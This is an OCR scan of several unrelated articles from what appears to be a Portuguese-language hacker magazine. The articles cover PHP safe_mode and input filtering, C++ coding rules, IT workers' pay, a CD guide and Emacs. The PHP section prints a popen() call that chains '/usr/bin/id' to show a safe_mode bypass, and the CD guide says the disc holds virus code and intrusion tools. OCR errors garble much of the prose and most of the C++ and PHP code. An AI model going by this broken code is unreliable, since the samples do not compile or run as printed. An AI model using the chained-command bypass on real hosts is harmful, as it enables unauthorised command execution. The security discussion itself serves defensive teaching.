de ambiente cujos nomes cemecem com algo ndo listado no
safe_mode_allowed_env_vars ndo podem ser alteradas de
dentro de um script PHP. A lista-padrao consiste no prefixo
“PHP_" apenas. Como temos visto, algumas das varidveis PHP_
contém informacdes sensiveis, de forma que esta restricao nem
sempre resolve ¢ problema completamente.

Outra configuracdo de mesma origem é safe_mode_
protected_env_vars. A lista fornecida a esta diretiva especifica
nomes de variaveis de ambiente que o usuario ndo pode mo-
dificar. As varidveis protegidas ndo podem ser alteradas, mes-
mo se estiverem presentes na lista safe_mode_
allowed_env_vars. Por padrao, a Unica variavel protegida é $L.D_
LIBRARY_PATH.

Para aumentar a seguranca, o melhor é usar ambas as confi-
guracdes como complementares, colocando o0 maximo possi-
vel de varidveis de risco na diretiva safe_mode_
protected env_vars. Como regra geral, se nao é absolutamen-
te necessario para scripts serem capazes de alterar uma varia-
vel, proteja-a. De qualguer modo, tente proteger $PATH e
amigos. Se isso ndo for uma solucdo aceitavel, observe todas
as variaveis nao protegidas com desconfianca e use-as com
cuidado.

Entdo, safe made é bom como conceito, mas nao é livre de
problemas. No PHP3, por exemiplo, popen() ndo segue a regra
geral de passar tudo através do EsacpeShellCmd(). Deste modo,
é possivel executar programas externos do diretério especifi-

cado em safe_mode_exec_dir:

$ip = popen(”ls -I fopt/bin/; Jusr/bin/id”, “r”); echo
“Sto<br>\n*;

while (§line = fgets(§to, 1024)):

printf (“%s<br>n", $/ine);

endwhile,

pclose($ip);

.

Isso imprimira uma listagem do diretorio /opt/bin e exe-
cutara /usr/bin/id para mostrar o UID e GID do usuério exe-
cutando o servidor Web.

Ja foi discutido que, devido a tais erros de omissao no
safe mode, hosts ndo devem confiar neste procedimento
como 100% seguro, mas usar, em vez disto, a versdo CGl
do PHP em combinacdo com o chroot(). Como temos visto,




esta ndo € a melhor alternativa. E, entretanto, uma boa idéia
ndo confiar exclusivamente no safe mode, usando-o apenas
como reforco para um codigo realmente seguro.

Arquivos Include

O servidor Web sabe que um arquivo é um arquivo PHP
olhando a extensab .php. Deste modo, quando vocé re-
quer uma pagina PHP do servidor, ele primeiro interpreta
aquele arquivo e, entdo, mostra o resultado. Se o servidor
ndo reconfiecer a extensdo do arquivo, ele ird apenas mos-
trar o seu contetdo.

As vezes acontece de o script PHP precisar incluir outros
arquivos como parte dele mesmo. Varios programadores
tém a tendéncia de nomear estes arquivos Include com
uma extensao .inc. O problema € que se o servidor nao for
prevenido que agueles arquivos sdé-c‘;',—ﬁa verdade, parte dos
scripts PHP, ele mostrard o co6digo a qualquer um que peca.
Isso da aos invasores a oportunidade de vasculhar o cédi-
go procurando todos os furos na seguranca e ver qualquer
dado secreto.

Existem varios modos de prevenir isso. Um mado

€ nomear
todos os arquivos Include com a extensao .php (ou .php3, ou
qualquer uma associada ao PHP), de forma que o servidor os
interprete, em vez de mostra-los. Outra possivel solucdo é asso-
ciar arquivos .inc com PHP. Uma terceira solucdo seria impedir
todos os arquivos .inc de serem mostrados. No Apache, esta
ultima pode ser conseguida com algo como isto:

<files ~ “l.inc§ ">
Order alfow, deny
Deny from alf
</files>

Isso deve ser uma secdo no arquivo httpd.conf. Provavel-
mente, a maneira mais segura de fazer isso, entretanto, deve
ser nao colocar arquivos .inc no diretorio definido em
DocumentRoot de maneira alguma. Cologue-os em algum
outro lugar e mude include_path no php.ini. Deste modo,
apenas seu script PHP estara habilitado para usa-los e o servi-
dor Web ndo poderd vé-los.

Filtrando dados de usudrio

Nos vimos que dados fornecidos pelo usuario podem causar
problemas. Os mais perigosos sdo metacaracteres que t&m sig-
nificado especial para o shell, para a bhase de dados cu para
gualquer outro programa externo. Filtrar entradas de usuério
consiste em tirar qualquer caractere especial de todos os dados

que vém de fora. Esse € um modo claramente eficiente de preve-
nir alguns comportamentos improprios por parte do usuario.

Entradas podem ser filtradas executando uma expressao re-
gular gue remova ou evite um conjunto de metacaracteres que
vocé fornece. Para simplificar este processo, o PHP fornece
duas fungdes que fazem esse tipo de coisa. Do manual do PHP:

“EscapeShellCma() evita gualisquer caracteres em uma string
que podemn ser usadas para levar um comando de shell a exe-
cutar comandos arbitrdrios. £5ta funcédo deve ser usada para
garantir que qualquer dado vindo do usudrio é evitado antes
de passar para a funcdo exec() ou system(), ou para o operador
backtick. "

A segunda funcdo confina a string inteira entre aspas sim-
ples antes de vocé passé-la como um argumento para um pro-
grama. O shell ndo associa nenhum significado especial para
caracteres dentro de aspas simples, entdo um pipe, por exem-
plo, sera passado apenas como parte do argumento, em vez
de repassar a salda, como seria seu comportamento normal.

“EscapeShellArg() adiciona aspas simples em torno da string
e comenla/evita quaisquer aspas simples existentes, permitin-
do a vocé pass.

r uma string diretamente para uma funcdo do
shell e té-la tratada como um simples e inofensivo argumento.
Esta funcao deve ser usada para fgnorar argumentos individu-
ais para fungdes do shell vindas da entrada do usudrio. ”

Enquanto aguelas functes fazem o melhor para evitar sim-
bolos errados conhecidos, existird sempre alguma chance de
que percam alguma coisa. Isso porque diferentes shells em
diferentes sistemas t&m seus préprios caracteres especiais, e
uma lista extensiva de todos estes caracteres ird quase certa-
mente ser incompleta ou muito restritiva.

Muitas vezes, é melhor construir a sua prépria expressao
regular para filtrar a entrada do script. Em vez de filtrar um
grande ndmero de caracteres especiais, entretanto, filtre ape-
nas caracteres que sao vélidos para aquela entrada em particu-
lar. Se o usudrio esta entrando seu name, por exemplo, ape-
nas permita-lhe fornecer caracteres alfanuméricos. Para um
endereco de e-mail, apenas permita caracteres alfanuméricos,
underscore, pontos, traco e o simbolo @. J4 que o script tem
algumas informacoes sobre entradas de qualquer forma, use
isso para construir um bom filtro. Isso também resolvera a
interacdo com a base de dados melhor do que o
EscapeShellCmd() poderia fazer.

Jordan Dimov ¢ consultor e membro do grupo de
seguranca de software da Cigital Inc., nos EUA

Traducao e adaptacao: Sulamita Garcia e Marcelo C. Barbdo
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E uma fina linha que separa a boa dama programacao

por Sérgio Villas-Boas
villas@del. ufy. br

m compilador C++ é uma ferramenta de propdsi-

to absolutamente genérico. Serve para fazer pro-

jetos muito sérios e ta‘rﬁB;ém para experiéncias de

qualquer natureza. A flexibilidade muito grande
que o compilador propicia leva o programador a desenvolver
diversos estilos de programacéo.

Refletindo sobre os objetivos que uma pessoa tem ao fazer
um programa, e revendo os conceitos de programadores ex-
perientes, chega-se a um conjunto de regras, chamadas de
“regras de boa programacdo”. Essas regras nao sdo impostas
pelo compilador — de forma que se nao forem seguidas, ainda
assim o compilador consegue compilar —, mas sao regras mui-
to recomendaveis, pois a experiéncia mostra que a falha em
segui-las geralmente causa muitos problemas mais tarde.

Os objetivos de quem programa sdo mais ou menos os se-
guintes (ndo estdo em ordem de prioridade):

Desenvolver programas que solucionem a solicitacao de
clientes. Fazé-lo de forma mais rdpida e objetiva possivel, evi-
tando-se, dentro do possivel, “reinventar a roda”.

Facilitar o provavel upgrade, isto é, ser capaz de adap-
tar um programa, no caso de uma mudanca de
especificacdo solicitada pelo cliente. Chama-se isso de
“manutencdo de programa”.

Aprender mais sobre a tecnologia de programacdo. Co-
nhecer as tecnologias em vigor e as tendéncias.

Facilitar para que outra pessoa, que nao necessariamente
seja conhecida, altere o programa. E essa pessoa pode ser vocé
mesmo apods algum tempo.

Considerar a comercializagdo do cédigo-fonte de um pro-
grama, € ndo apenas do executdvel. Portanto, desenvolver pro-
gramas € muito mais que apenas fazer um cédigo que atenda
a uma especificacdo. Caso o programador ndo se conscientize
disso, seu codigo fica de "baixa qualidade” (o que nao quer
dizer que nédo funcione).

Identacdo correta

A identacdo do programa deve ajudar o programador a
entender o nivel de lago que se esta programando. Quan-
do o programa tiver lacos dentro de lacos, cada laco deve
estar identado em relacdo ao anterior. O mesmo vale para
if. O exemplo abaixo ilustra o conceito. Repare que a cha-
ve que fecha o escopo de for k esta exatamente embaixo
do for .

void #) {

const int row = 5;

const int co/ = 15;

int datafrowfcolf:

for (int =0, [ < row, i++)
for(int k=0, k < col, k++){
datafijlkj =1+ 10%k + 6;
ifk==4){

datafijlk] = 200, // this case is special
/

J 7 for k

/

Os marcadores de escopo ( { e } ) devem seguir um dos dois
padrées abaixo.

it (k==4)

7

dataffjfk] = 200;
/

ou

iftk==4){
aatalilfk] = 200;
}
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Nao tratar strings diretamente, mas por classe de string

Uma fonte de bugs muito comum em C/C++ ocorre no tra-
tamento de strings diretamente, ou seja, criar um buffer de
char com um tamanho fixo e usar funcées de biblioteca-pa-
drao que manipulam esse buffer, tais como strcpy ou strcat.
Caso ocorra bug, o comportamento do programa é aleatorio,
isto &, pode fundonaf normalmente, pode funcionar com erro
(e.g. copiar a string faltando um pedaco), pode ocorrer mensa-
gem de erro no console, pode travar a maquina, etc.

Motivos pelos quais € ma programacdo tratar strings
diretamente

Fazer um programa que trata strings diretamente &, portan-
to, considerado como mé programacdo. Os motivos explicitos
de consideré-lo assim estdo expostos abaixo:

e BUNCEE
O compilador ndo tem como distinguir entre um pontei-

ro para buffer, ponteiro alocado e ponteiro nio alocado. O
programa abaixo contém um bug e o compilador nio sinaliza
qualquer warning.

A programa com bug !

#include <string.h> / strcpy

vord main ()

char *buffer=0,

strepy(buftter, “abc”); // bug. data is being copled to non
alloced buffer

/

Caso seja usado um buffer de char com tamanho fixo,
somente nao ocorrerra bug se a string nunca ultrapassar o valor
desse tamanho de buffer, Portanto, o programa sempre tem
uma certa possibilidade de conter um bug. Isso é particular-
mente problematico ao se escrever um componente de progra-
macdo de propdsito genérico. Usando a funcao strcpy ou strcat,
o compilador nao verifica se o buffer tem espaco suficiente para
a copia. Caso o espaco nao seja suficiente, ocorre bug.

& programa com bug !

#include <string.h> # strcpy

void main () {

char butfer[10]

strepy(butter, “abcdefghijkimnopgrst ) #/ bug. data is larger
than buffer

.

Caso uma funcéo retorne char*, esse retorno nao pode ser

feito com referéncia a uma variavel local, a menos que seja “static”.
A programa com bug !
#include <fostream. h>

#include <string.h>

char *htm/Path(char *userName) {

char *path = “/homesusr”;

char *him/ = “/public_him!”;

char butferf30]: // this line
strepyibutter,path);
strcat(bufter,userName);

strcat(buiter, htm/);

return butter; // BUG, returning reference to focal variable
/

vord main() {

char *completePath = htm/Path(“fred”);
cout << completePath << endl:

J

Esse programa pode ser corrigido acrescentando-se a pala-
vra “static” ao buffer de retorno. Dessa forma, o buffer passa
a ter escopo global (e ndo mais escopo local), apesar de ter
visibilidade apenas local. Trocando-se a linha marcada com
“this line” pela linha abaixo, obtém-se o efeito desejado.

static char buffer/30]: // this line

Mas, mesmo assim, persiste o problema do item anterior,
isto €, a funcdo apenas ndo tem bug se em nenhum caso o
conteldo do buffer ultrapassar o tamanho definido. Pode-se
minimizar a possibilidade de bug (mas ndo anular) fazendo o
tamanho do buffer ser muito grande. No entanto, isso faz
consumir desnecessariamente recursos do computador.

Solucao recomendada para tratamento de strings: uso
de classe de string

Ha mais de uma classe de string que se pode usar. Isso ocorre
porque a classe de string ndo ¢ parte integrante da estrutura da
linguagem C++, mas escrita em cima da prépria linguagem C++.
Portanto, cada programador pode usar/escrever sua prépria clas-
se de string de acordo com sua conveniéncia.

Abaixo, estao citados trés exemplos de classes de string,
com suas caracteristicas:

CString - classe que vem junto com a biblioteca MFC
e Visual C++. E uma classe muito boa, mas funciona somente
em Windows.

String - classe-padréo de C++, que funciona igual-
mente em Unix e Windows. £ bastante boa, mas requer o uso
de namespace. Somente compiladores mais modernos dao
suporte a namespace (mas isso nao é grande problema, por-
que € muito comum usar sempre as Ultimas versées dos com-




piladeres). O (pequeno) problema é gque nem sempre o pro-
gramador quer (ou sabe) usar namespace.

VBString - ¢ uma classe feita por mim, em codigo
aberto. Para usa’—\a; € preciso incluir no projeto o arquivo
vblib.cpp, e incluir vblib.h no cédigo-fonte. £ uma classe de
string que funciona igualmente em Windows e Unix e tem
varias funcdes extras (em relacdo a uma classe de string-pa-
drdo) gue podem ser muito Uteis. :

Usando classe de string, evita-se o uso de constantes com
dimensdo de buffer de array of char.

~ programa sem bug, bem programado

#include “vblib.h" 4 VEString

void main. () {

VBString buffer; // ndo se indica o tamanho do buffer.
buffer = “abcdefghiikimnopgrst”y

7

A concatenacdo de strings pode ser feita diretamente:
/ programa sem bug, bem programado

#include “vblib.h” 4 VBString

void main () {

VBString buffer; #/ nao se indica o tamanho do buffer,
buffer = "abcdefghijkimnopgrst”;

buffer += “723;

cout << buffer << endl: /#/ abcderghijkimnopqgrsti23
J

Uma funcdo pode retornar um objeto do tipo string sem
problemas:

/# programa sem bug, bem programado
#include <iostream.h>

#include “vblib.fh”

VEBString himfPath(VBString useriame) {
char *path = “shome/usr”,

char *himl = “/public_htmi”;

I/ESrm'ng buffer;

buffer = path,

bufter += userName,

buffer += html:

return buftfer;

}

vord main() {

VBString completePath = himiPath( fred”);
cout << completePath << endl:

Hou

cout << htmiPath(“fred”) << endl:
/

Uma classe de string possui um buffer interno para armaze-
nar o contetdo da string. Esse buffer ndo é acessado direta-
mente, mas apenas por operadores e outros métodos da
interface da classe de string. A classe cuida de alocar o buffer
interno na dimensao exata para a medida do gue esta sendo
guardado. Obviamente, a classe também cuida de liberar a me-
moria na destruicdo dos objetos string, para evitar vazamento
de memdria. Portanto, um objeto de classe de string pode con-
ter uma string de qualquer tamanheo, mesmo que seja patologi-
camente grande. Essa caracteristica é particularmente util no
tratamento de arquivos de texto, por exemplo. Pode-se ler uma
linha de um arquivo de texto diretamente para uma string,
despreocupando-se com o tamanho que a linha possa ter.

No programa de exemplo abaixo, um arquivo de texto é lido
linha a linha, armazenado numa string e depois enviado ao
console. A elegancia esta no fato de que nao ha constante de
dimensédo de array of char, e o programa funciona mesmo
para arquivos gue possam ter linhas de dimensao patologica-
mente grandes. Como cada linha ¢ lida e posteriormente envi-
ada ao console, pode-se pensar em fazer algum processamento
com essa linha, o que da maior utilidade ao programa:

A programa sem bug, bem programado
#include <fstream.h> // ifstream
#include “vblib.h* # VBString
void main () {

[fstream myfFile( “filename.dat”);
VBString str;

while (ImyFile.eof()) {

myFile >> str;

# do some processing, if needed
cout << str << end|;

i
/

Os comentarios devemn explicar para que serve um trecho de
programa ou uma funcao. Os comentérios ng0 devem explicar a
linguagem, a menas em situacdes especificas (como um tutorial):

voiad main () {

nt i

/' Exemplo de comentdrio ruim, pois apenas explica a lin-
guagem

i=i+1:/s50ma T avaridvel i

/
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Facilitar o upgrade, ao permitir uma nova verséo apenas por
mudar um Gnico lugar do programa. O programa abaixo é um
exemplo de programa mal escrito, pois a constante 5 de /nt
dataObjfs); é relacionada com a constante 5 da linha sequin-
te, for(i=0,;i<5,/++ {. Caso o programa seja alterado e a
linha /int dataObj/5]; passe a ser int dataObj/4];, o programa
passa a estar inadeqd’ado, e 0 seu comportamento a ser alea-
tario (pode funcionar perfeitamente, pode ndo funcionar, pode
travar a maquina, etc).

A Exemplo de programa mal escrito por ter constantes rela-
cionadas

void main () {

inti;

mnt dataObjfs5);

A1l dataObf with data

for(i=0;i<5; i++)(

aataObyfi] = i + 4;

J/

i

A forma correta de escrever esse programa seria como mos-
tracdo abaixo. Nesse programa, a dimensao do vetor e a dimen-
sao na qual o vetor é preenchido sao relacionadas pela macro
NUM. Caso seja necessario um upgrade, ha apenas uma linha
para se modificar.

4 Exemplo de programa bem escrito por néo ter constantes
relacionadas

#define NUM 5

vord main () {

inti

int dataObjiNUMJ;:

& fill dataObf with data

for(i=0,i<NUM, i++)[

adataObflil =i + 4,

i

/

Um bom programa deve ser “modularizado”, isto é, o pro-
grama deve conter muitos “maodulos”, que sdo componentes
de programacgdo. O oposto disso é o programa gue é todo
escrito, de cima a baixo, com dados numa Gnica fungao, muito
longa. Como regra pratica, uma funcdo nao deve ter em geral
muito mais gue 30 linhas. Se tiver, provavelmente é mais facil
de ser compreendida se parte dessas 30 linhas transformar-se
num “modulo”, isto é, uma funcao separada.

Outra coisa que se deve evitar é o uso exagerado de loop
dentro de loop diretamente. Escrever o codigo assim dificulta
a manutencao do mesmo. Do ponto de vista de legibilidade
do cddigo, ¢ bastante elegante que o numero de niveis de
lacos dentro de lacos (ou ifs) seja limitado a cerca de 5 ou 6. Se
for necessario mais que isso (digamos 10 nivais), o ideal é criar
uma fungdo no meio para “quebrar” a seqiéncia de niveis e
facilitar a legibilidade.

Uma outra forma de dizer a mesma coisa é que o programa-
dor deve focar a programacao mais na biblioteca (conjunto de
componentes) e menos na aplicacao em si. Os maédulos devem
ser escritos da forma mais geral possivel, de maneira que pos-
sam ser usados em muitas situacdes. Assim, esse médulo tor-
na-se um componente de programacao. O ideal é que, a cada
programa feito, o programador aumente seu conhecimento
sobre componentes de programacgao. Caso o programador ja
tenha componentes de programacao (classes, funcées, macros,
etc.) que estejam sendo usadas por mais de um programa,
essas funcoes devem ser separadas num arquivo separado de
fonte (*.cpp) e outro arquivo de header (*h). Em longo prazo,
esse arquivo deverd ser a biblioteca pessoal desse programa-
dor. Veja o exemplo abaixo. Nesse exemplo é necessario que o
projeto contenha os arquivos application.cpp e mylib.cpp. Caso
haja uma outra aplicacdo a ser desenvolvida que use nova-
mente a classe myClass, basta fazer outro arquivo (digamos
application2.cpp) usando novamente a mesma classe myClass.

4 application.cpp

#include “mylib.h”

void main () {

myClass a, ## myClass is declared in myiib.h

a.someFunction(); // the prototype of someFunction() is in
mylib.h

/# the code of someFunction() (s in mylib.cop

/

2 mylib.h

class myClass { /7 declaration of myClass

public:

void somefunction); # prototype of someFunction

Zetc

7

A mylib.cop

vold myClass..someFunction() {

# code of somefunction

/

Os identificadores sao nomes de funcées, de varidveis, de




classes, de macros, de métodos, etc. Esses nomes devem signi-
ficar o que representam. Dessa forma, o programa fica intrin-
secamente legivel.
Algumas regras sobre isso:

Nomes curtos que nac significam nada (e.g. i, k, etc.)
podem ser usados para iteradores inteiros simples.

Atributos de uma classe (varidveis-membro) devem come-
car com m_, ,

Nomes com significado devem ser em inglés (veja a secao
abaixo).

Sem consideracbes ideoldgicas, o fato é gue inglés é o
idioma internacional. Se ndo o é para todas as areas, com
certeza é para tecnologia da informacéao. Portanto, o fato é
que os melhores livros, listas de«discussdo, gurus, paginas
Web, etc. que falam sobre tecnologia de informacao estao
em inglés.

Considerando o que ja foi dito no sentido da importancia
de se trocar informacées com uma ampla comunidade, de de-
senvalver e usar bibliotecas, etc., a conseqliéncia é que pro-
gramar pensando em inglés é a forma mais objetiva de se
atingir o melhor nivel de programacao.

Para quem fala portugués, como nos, pode parecer um
aviltamento a recomendacao de se programar em inglés. Eu
me defendo disso dizendo gue a experiéncia me mostrou
que programar em inglés é a forma mais pratica de se obter
desenvoltura no mercado de tecnologia, que é
ultracompetitivo, globalizadc e em constante mudanca. Eu
ja tive a oportunidade de examinar programas muito inte-
ressantes escritos por programadores que falam alemao e
que falam japonéds. Em alguns casos, os programas foram
feitos “"em inglés”, e em outros casos essa recomendacao
ndo foi sequida. Quando a recomendacédo ndo era seguida,
o programa era Util apenas em nivel de execucio, mas nao
em nivel de reutilizacdo de cddigo. Se nds programarmos
em portugués, pessoas que nao falam portugués pensarao
o mesmo do nosso programa. Na pratica, isso significa que
0 nosso trabalho terd menor valor.

Ha que se distinguir muito bem o “programador” (ou “pro-
fissional de tecnologia de informacao”) do “usuério” (que vai
simplesmente operar o programa). O profissional de tecnologia
de informacdo é uma pessoa, em geral, muito mais treinada e
educada que o usuario. Quem tem que falar o idioma nativo é
0 usuario, e nao o profissional de tecnologia de informacéo. O
profissional de tecnologia de informacio vive num mundo
globalizado, literalmente, enquanto o usuario nio.

Para dar exemplos concretos: o desenvolvimento do

Windows, ou do Linux, ou do Office da Microsoft. Em todos
esses casos, claramente, hd um “elemento central” (kernel) do
programa, que é feito por profissionais muito gqualificades.
Com certeza, esses cddigos-fonte foram escritos em inglés.

Mas todos esses programas sao usados por usuarios no
mundo inteiro. Para que os programas possam ser mais bem
disseminados, sao feitas versdes deles em varios idiomas. Mas
as versOes em outros idiomas sdo meras traducoes de tabelas
de strings. Nao se traduziu o codigo-fonte do programa pro-
priamente dito.

Programar "pensando em inglés” significa usar nomeas de
identificadores em inglés, comentérios em inglés, nomes de
arquivos em inglés, etc.

Zem portugués, ma programacio !

# mostra_dados.cpp

#include <iostream. h>

#define NUMERO_MAXIMO 5

void main () {

nt i

int meus_dados/NUMERO _MAXIMO/:
cout << "Veja os dados” << endl; #/ sinaliza para o usuério
& enche meus_dados de dados

for (1=0, 1< NUMERO _MAXIMO  i++) {
meus_dados [ij = i + 4,

cout << meus_dados [i] << end/:

i

/

Esse programa poderia ser mais bem escrito, como o exem-
plo abaixo. Repare que apenas os identificadores e comentéri-
os foram mudados. A mensagem para o usudrio é mantida em
portugués.

& in english, good programming !
#/show_data.cop

#include <iostream. >

#define MAXIMUM_NUMBER 5

vord main () {

mti

int my._data/MAXIMUM_NUMBER]:

cout << "Veja os dados” << end; #/ send message to user
ATl my_data with data

for(i=0, i< MAXIMUM_NUMBER ; j++) {
my_data [If =i + 4;

cout << my_data [if << end/:

7

/
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ARTIGO

ma das maiores contribuices que poderemos
deixar para o futuro é consolidar uma relacdo de

trabalho justa entre os profissionais de
mformahca Rever as leis atuais, através do Congresso, deve ser
um ponto marcante na comunidade da infermacao, pois o Bra-
sil se utiliza largamente da informacao e, inclusive, ja esta legis-
lando para algumas necessidades, mas ainda nao sabe como
remunerar os profissionais de informatica.

Sexta-feira, seis horas da tarde, esta finalizada mais uma
semana de trabalho. Esta € a rotina para todos os profissio-
nais, de diversas empresas, nas mais diversas areas de atua-
cao. E hora de esquecer o trabalho e se concentrar na familia,
amigos e afazeres domeésticos. Pensar nos problemas da
empresa, s6 segunda-feira.

Para os profissionais de informatica, na grande maioria
das vezes, é apenas a liberdade de ir e vir para onde bem
entender, mas nunca de se afastar do trabalho. Por se tratar
de um trabalho essencialmente cerebral, o profissional de
informatica trabalha, pensando naquela rotina que ndo esta
funcionando ou naquele relatério que insiste em sair do
alinhamento ou naquele médulo de calculo que ainda esta
com uma performance baixa. Este trabalho de pensar, insis-
tentemente, em uma solucdo nédo estd preso aguelas pare-
des do escritério e, diferentemente dos outros profissionais,

QUANTO VALE O
PROFISSIONAL DE

MATICA?

as ferramentas estdo disponiveis: o cérebro e o preblema.

Quem paga por essas horas de trabalho?

A CLT, a forma mais usada para a relacdo de trabalho, sé
contabiliza horas trabalhadas no escritério. Entdo, essas ho-
ras nao estac no cartdo de ponto. Portanto, para que sejam
remuneradas, @ necessario que se espere o reconhecimento
de seu superior de que o trabalho foi feito, mas normalmente
s6 se recebe um muito obrigado. Este formato de reconheci-
mento levanta o ego, mas nao szlda as contas no final do més.

A contabilizacdo do trabalho intelectual vem sendo altera-
da pela FPA (Function Point Analysis). Com o advento da Ana-
lise por Ponto de Funcdo, é possivel se mensurar o trabalho
intelectual, pois seu principio é de mensurar a tarefa, através
de séries historicas, e pontua-la. Cada ponto representa uma
unidade de esforco que deve ter um valor associado.

Este valor é estipulado por contrato, que é uma outra for-
ma de relacdo contratante/contratado. No entanto, se o con-
trato de prestacao de servico nao for bem elaborado, per-
dem-se as garantias presentes na CLT. Vale a andlise do pro-
fissional e da situacao.

Qual delas serd a mais justa? Existem outras formas de se
mensurar o trabalho intelectual?

por Wagner Pequenc
wagnerpequeno@terra.com.br
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GUIA DO CD

CD HACKER ESPECIAL

Tudo para aprimorar seu
conhecimento na area
de programacéo-

por Bruno Cesar
aruno@digerati.com.or

eparamos para o CD desta edicao especial da re-

' vista Hacker as melhores ferramentas na drea de
":‘\‘-:'-'f' ¢ desenvolvimento e criacao voltada para a progra-
macéo. Deixamos a sua disposicado desde ferramentas para
Linux, passando por tutoriais, compiladores, utilitérios,
disassemblers, até a peguena colecdo de mais de 900 codi-
gos-fonte de diversas linguagens: ASP, C++, Delphi, Java,
Pascal, PHP e VB. Aproveite, quantidade e qualidade vocé sé
encontrara na revista Hacker.

Para utilizar as ferramentas disponiveis para Linux, obvia-
mente vocé precisard estar rodando qualquer distribuicao
Linux, ou algum emulader para Win. Primeiramente, monte
sua particdo do CD-ROM para visualiza-lo. Se ndo souber, siga
0s passos abaixo. -

No terminal, com usuario root, digite:
mkdir /carom
mount--t s09660 /dev/cdrom /fcarom

Para visualizar o CD, acesse o diretodrio /cdrom

Se pretender visualizar outro CD, vocé precisara desmontar
a particao criada e seguir 0s mesmos passos acima para

remonta-la. Para desmontar uma particio criada do CD, digite:
umount /cdrom !

No Windows, quando vocé introduz o CD-ROM no drive, ele
executara o Autonrun e a interface do CD sera carregada. Caso
IS0 ndo ocorra, € porque o seu Autorun estd desabilitado.
Para habilita-lo, siga os passos abaixo:

— Cligue em INICIAR

— CONFIGURACQES

— PAINEL DE CONTROLE

— SISTEMA '

— GERENCIADOR DE DISPOSITIVOS

— Dé um duplo cligue na unidade de CD-ROM

— CONFIGURACOES

— Cheque se a opcao “INSERIR NOTIFICACAO AUTOMATI-
CAMENTE" esta marcada. Se nao estiver, marque-a

Se mesmo assim o CD-ROM néo abrir automaticamente,
seu sistema ou seu drive de CD pode- estar com problemas.
Vocé tera que abrir manualmente. V4 até o diretério-raiz do
CD-ROM e cligue no seguinte arquivo:

HA4CK _PROG.exe



. ArENGHo

Este L0 contém programas que trazem informagies ou codigos de virus, além de aplicativos utilizados para invasio.

Sao aplicatives com exclusiva finalidade de estudo. Ndo nos responsabilizaremns pele uso indevide destes softwares.

RSO ND DESEJE ENTRRR, CLIQUE NO BOTAC NAD CONCORDY.

LSO ACEITE RS CONDICHES DF 4SO CITADRS ACIMA, CLIGUE EM COKCORRO

{oncordo

Nao Coneordo

spere—a ertacedo—ch Hersercarregada—=o0
que, dependendo de sua maquina, pode demorar
um pouco.

Para ter acesso zo conteudo total do CD, leia o disclaimer.
Se estiver ciente de que todo ato a partir dai é de sua inteira
responsabilidade, clique em Corncordo; caso nao esteja satis-
feito com as condicées impostas, clique em Ndo concordo(Veja
figura 1).-

I
@
Q

navegavel serd aberta para que vocé tenha total conforto e
disponibilidade para ter acesso as ferramentas do CD, em uma
interface muito amigavel e explicativa. Ja demos tudo de ban-
deja, agora o resto é com vocé: utilize tudo da melhor maneira
possivel e leia, principalmente, os tutoriais. Se mesmo assim
houver davidas, entre em contato conosco, que da melhor ma-
neira, tentaremos esclarecé-las (Veja figura 2).
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nicialmente desenvolvido e aprovado por nada-
mais nada menos que Richard Stallman, o Emacs:
é um editor de texto multilingual, open source,

licenciado segundo os termos da Licenca Publi- .

ca Geral do GNU. Usado principalmente por programado-
res, o Emacs ndo é so6 um simples editor de textos. Com
ele, vocé terd suporte a edicdes de textos e outros recur-
s0s, como ler e-mails, ler noticias da Internet, cliente ftp. ..
Alguns outros recursos e extensdes podem ser distribui-
dos separadamente. Para os programadores mais avanca-
dos, Emacs Lisp é essencial.

Alguns recursos do Emacs

- Modos sensiveis ao contexto para uma grande variedade
de tipos de arquivos, desde texto em formato TXT até arquivos
em formato HTML

- Documentacao on-line completa, incluindo um tutorial para
NOVOS usuarios

— Altamente extensivel pela linguagem Emacs Lisp
- Suporte para muitos idiomas, incluindo todos os alfabe-

tos “latinos”.
- Muitas extensdes para tarefas como leitura e envio de e-
mails, leitura de noticias na Internet, calendario e diario

Abaix
o B
ARaIX

(@]

seguem alguns comandos basicos de
como manipular arquivos no Emacs

Comandos de manipulacédo de arquivos

Ctrl+x  Ctrl+f

Abrir arquivo. Esse é o principal comando usade para ler um
arquivo. Quando vocé executa este comando, ele leva vocé
para o nome do arguivo (com complemento <>).

Ctrl + x Ctrl +s

Salva o arquivo. Esse é o principal comando usado para sal-
var um arquivo ou, mais precisamente, para escrever uma co-
pia do arquivo corrente fora do disco.

Ctrl+x +s
Salvar alguns arquivos. Permite que vocé salve todos os seus
arquivos abertos, questionando sobre cada um e oferecendo



Mais que um editor de textos, uma ferramenta de prograniagéo

por Bruno Cesar
bruno@digerati.com. br

opgoes para cada (salvar, nao salvar, visualizar primeiro e en-
tdo, talvez, salvar, etc.)

Ctrl+x+ b

Alternar para o argquive. Leva vocé para um nome de ar-
quivo e alterna o arquivo da janela corrente que esta em
aberto para o arguivo aberto. Nao muda a sua configuracdo
arquivo se vocé digitar um novo nome para um arquivo que
nao esteja salvo.

Ctrl+x Ctrl+ b

Listar arquivos. Abre uma nova janela que lista todos os seus
arquivos, dando para cada nome, modificado ou nao, tama-
nho em bytes.

Ctrl + x Ctrl+ g

Abrir arquive para somente leitura. Faca um arguivo somen-
te'leitura (de forma que tentativas de modifici-lo sejam trata-
das como erros).

Acima, segue uma screen shot tirada do Emacs.
Q programa se encontra disponivel
. no COD desta edigao
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Para quem esta comecando um
exemplo do que pode fazer o PHP
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por Bruno Cesar
bruno@digerati.com. br

PHP é uma linguagem de elaboracdo e
visualizacao de scripts desenvolvida para a Web,
ou seja, processa, através de scripts, as
solicitagoes feitas por um usudrio que estard

utilizando um navegador Internet Explorer ou Netscape, que
ird formatar e devolver o resultado para o cliente em arquivos
no formato HTML, possibilitando ao usuario a visualizacgo e
utilizacao dos scripts e beneficios que o PHP promove, o que
permite a criacio de websites dinamicos por parte do
programador.

O que faz o PHP se diferenciar de algumas outras linguagens
de programacao da Web é o seu tipo de formatacso.
Diferentemente do JavaScript, o seu cédigo é fechado,
impossibilitando, assim, algum tipo de visualizacao por parte
do usuario que esta visitando o website. :

Como quase todas as outras linguagens de programacao,
com o PHP vocé tera total liberdade para desenvolver qualquer
projeto ao seu gosto.

Exemplos o e

Iremos descrever o funcionamento de um simples arquivo
PHP que possibilitard ao seu desenvolvedor controlar o
acesso a sua home page. Como? Simples, ele gerard um
arquivo TXT gravando o IP do Gltimo acesso, e-mostrando
ao usuario o IP dele. :



obs.: /f e /* sd0 linhas de comentarios no PHP
: <html>

<head>
<title>IP</titlex~
</head>

<body>
/ Infcio do script PHP

<?

Y Informa ao usudrio o seu IP. O comando echo

também pode ser interpretado com ()
